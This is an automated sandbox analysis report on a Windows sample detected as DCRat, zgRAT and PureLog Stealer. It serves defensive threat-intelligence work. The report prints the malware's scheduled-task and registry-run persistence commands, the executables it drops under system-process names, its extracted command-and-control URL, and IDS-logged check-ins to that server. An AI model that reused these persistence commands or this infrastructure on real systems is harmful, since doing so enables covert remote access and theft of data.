Edit tour

Windows Analysis Report
t8F7Ic986c.exe

Overview

General Information

Sample name:	t8F7Ic986c.exe renamed because original name is a hash value
Original sample name:	a4923d4db3234b3905ad3097cc03af46.exe
Analysis ID:	1583176
MD5:	a4923d4db3234b3905ad3097cc03af46
SHA1:	3e12ad372643b3c9d91053b91f61f8cd7e42118c
SHA256:	4685860269353c0eaaec2e5da79cb35a475123a37fa6d77c4faf345840da2a10
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Found pyInstaller with non standard icon

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

t8F7Ic986c.exe (PID: 7504 cmdline: "C:\Users\user\Desktop\t8F7Ic986c.exe" MD5: A4923D4DB3234B3905AD3097CC03AF46)

t8F7Ic986c.exe (PID: 7520 cmdline: "C:\Users\user\Desktop\t8F7Ic986c.exe" MD5: A4923D4DB3234B3905AD3097CC03AF46)

cmd.exe (PID: 7536 cmdline: C:\Windows\system32\cmd.exe /c start C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BoosterX.exe (PID: 7592 cmdline: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234 MD5: B0A28FF93B030B10FD70698A5A7C27D0)

cmd.exe (PID: 7688 cmdline: C:\Windows\system32\cmd.exe /c ""C:\1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Chaindriver.sfx.exe (PID: 7732 cmdline: Chaindriver.sfx.exe -p1234 MD5: 9E935AF26F27628601A2A336CA24AEF2)

Chaindriver.exe (PID: 7852 cmdline: "C:\Chaindriver.exe" MD5: 64F81209BCCE8D36D800FEEC26D75990)

schtasks.exe (PID: 7924 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 10 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7948 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7972 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 12 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

csc.exe (PID: 7988 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 8040 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES953C.tmp" "c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

schtasks.exe (PID: 8064 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8088 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8112 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8136 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8160 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8184 cmdline: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7100 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7228 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7272 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7296 cmdline: schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 5 /tr "'C:\Recovery\Memory Compression.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2056 cmdline: schtasks.exe /create /tn "Memory Compression" /sc ONLOGON /tr "'C:\Recovery\Memory Compression.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6120 cmdline: schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 8 /tr "'C:\Recovery\Memory Compression.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4348 cmdline: schtasks.exe /create /tn "ChaindriverC" /sc MINUTE /mo 11 /tr "'C:\Chaindriver.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3492 cmdline: schtasks.exe /create /tn "Chaindriver" /sc ONLOGON /tr "'C:\Chaindriver.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5016 cmdline: schtasks.exe /create /tn "ChaindriverC" /sc MINUTE /mo 11 /tr "'C:\Chaindriver.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 3192 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 908 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 5960 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

Chaindriver.exe (PID: 7712 cmdline: "C:\Chaindriver.exe" MD5: 64F81209BCCE8D36D800FEEC26D75990)

Chaindriver.exe (PID: 2336 cmdline: C:\Chaindriver.exe MD5: 64F81209BCCE8D36D800FEEC26D75990)

Chaindriver.exe (PID: 2256 cmdline: C:\Chaindriver.exe MD5: 64F81209BCCE8D36D800FEEC26D75990)

Memory Compression.exe (PID: 2704 cmdline: "C:\Recovery\Memory Compression.exe" MD5: 64F81209BCCE8D36D800FEEC26D75990)

Memory Compression.exe (PID: 6924 cmdline: "C:\Recovery\Memory Compression.exe" MD5: 64F81209BCCE8D36D800FEEC26D75990)

cmd.exe (PID: 7840 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7216 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7936 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

NOFqHeDosUIopsPGLT.exe (PID: 7316 cmdline: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe MD5: 64F81209BCCE8D36D800FEEC26D75990)

NOFqHeDosUIopsPGLT.exe (PID: 7496 cmdline: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe MD5: 64F81209BCCE8D36D800FEEC26D75990)

NOFqHeDosUIopsPGLT.exe (PID: 7976 cmdline: "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe" MD5: 64F81209BCCE8D36D800FEEC26D75990)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://797441cm.n9shteam2.top/Videouploads", "MUTEX": "DCR_MUTEX-hfvbr7qWOm1XHEAbKVKA", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Recovery\Memory Compression.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\Memory Compression.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\NOFqHeDosUIopsPGLT.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\NOFqHeDosUIopsPGLT.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\NOFqHeDosUIopsPGLT.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\NOFqHeDosUIopsPGLT.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Chaindriver.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Chaindriver.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\Pictures\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Default\Pictures\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.1683927613.0000000000662000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000007.00000003.1681625695.0000019CC38A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Chaindriver.exe PID: 7852	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Memory Compression.exe PID: 6924	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Chaindriver.exe PID: 7712	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.0.Chaindriver.exe.660000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
8.0.Chaindriver.exe.660000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe, CommandLine: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe, NewProcessName: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe, OriginalFileName: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe, ProcessId: 7316, ProcessName: NOFqHeDosUIopsPGLT.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Chaindriver.exe, ProcessId: 7852, TargetFilename: C:\Users\Default\Pictures\RuntimeBroker.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Default\Pictures\RuntimeBroker.exe", EventID: 13, EventType: SetValue, Image: C:\Chaindriver.exe, ProcessId: 7852, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Recovery\NOFqHeDosUIopsPGLT.exe", EventID: 13, EventType: SetValue, Image: C:\Chaindriver.exe, ProcessId: 7852, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NOFqHeDosUIopsPGLT

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Recovery\NOFqHeDosUIopsPGLT.exe", EventID: 13, EventType: SetValue, Image: C:\Chaindriver.exe, ProcessId: 7852, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Chaindriver.exe" , ParentImage: C:\Chaindriver.exe, ParentProcessId: 7852, ParentProcessName: Chaindriver.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline", ProcessId: 7988, ProcessName: csc.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f, CommandLine: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Chaindriver.exe" , ParentImage: C:\Chaindriver.exe, ParentProcessId: 7852, ParentProcessName: Chaindriver.exe, ProcessCommandLine: schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f, ProcessId: 8064, ProcessName: schtasks.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Chaindriver.exe, ProcessId: 7852, TargetFilename: C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Chaindriver.exe" , ParentImage: C:\Chaindriver.exe, ParentProcessId: 7852, ParentProcessName: Chaindriver.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline", ProcessId: 7988, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /f, CommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Chaindriver.exe" , ParentImage: C:\Chaindriver.exe, ParentProcessId: 7852, ParentProcessName: Chaindriver.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /f, ProcessId: 7100, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T07:42:12.937028+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49730	185.158.202.52	80	TCP
2025-01-02T07:42:40.718432+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49737	185.158.202.52	80	TCP
2025-01-02T07:42:47.937085+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49738	185.158.202.52	80	TCP
2025-01-02T07:42:57.077732+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49740	185.158.202.52	80	TCP
2025-01-02T07:43:05.374608+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49788	185.158.202.52	80	TCP
2025-01-02T07:43:08.640348+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49809	185.158.202.52	80	TCP
2025-01-02T07:43:10.452741+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49820	185.158.202.52	80	TCP
2025-01-02T07:43:13.468391+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49841	185.158.202.52	80	TCP
2025-01-02T07:43:15.952759+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49859	185.158.202.52	80	TCP
2025-01-02T07:43:37.905923+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49995	185.158.202.52	80	TCP
2025-01-02T07:43:46.015323+0100	2048095	1	A Network Trojan was detected	192.168.2.4	50013	185.158.202.52	80	TCP
2025-01-02T07:43:49.327933+0100	2048095	1	A Network Trojan was detected	192.168.2.4	50014	185.158.202.52	80	TCP
2025-01-02T07:43:52.952838+0100	2048095	1	A Network Trojan was detected	192.168.2.4	50015	185.158.202.52	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: t8F7Ic986c.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://797441cm.n9shteam2.top	Avira URL Cloud: Label: malware
Source: http://797441cm.n9shteam2.top/Videouploads.php	Avira URL Cloud: Label: malware
Source: http://797441cm.n9shteam2.top/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\Memory Compression.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\KGIrVxyv.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\TkRgFrOc.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Chaindriver.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\Default\Pictures\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Avira: detection malicious, Label: TR/AVI.Agent.denui
Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\PxTXHLsG.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb

Found malware configuration

Source: 00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://797441cm.n9shteam2.top/Videouploads", "MUTEX": "DCR_MUTEX-hfvbr7qWOm1XHEAbKVKA", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Chaindriver.exe	ReversingLabs: Detection: 69%
Source: C:\Chaindriver.sfx.exe	ReversingLabs: Detection: 18%
Source: C:\Recovery\Memory Compression.exe	ReversingLabs: Detection: 69%
Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe	ReversingLabs: Detection: 69%
Source: C:\Users\Default\Pictures\RuntimeBroker.exe	ReversingLabs: Detection: 69%
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\Desktop\FnBzuKhI.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\KGIrVxyv.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\PxTXHLsG.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\TkRgFrOc.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\Zfmnrnxn.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\viEjRGTv.log	ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Source: t8F7Ic986c.exe	ReversingLabs: Detection: 47%
Source: t8F7Ic986c.exe	Virustotal: Detection: 61%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Machine Learning detection for dropped file

Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe	Joe Sandbox ML: detected
Source: C:\Recovery\Memory Compression.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\HTKiXRcY.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\BXpblVtN.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\TkRgFrOc.log	Joe Sandbox ML: detected
Source: C:\Chaindriver.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\Pictures\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

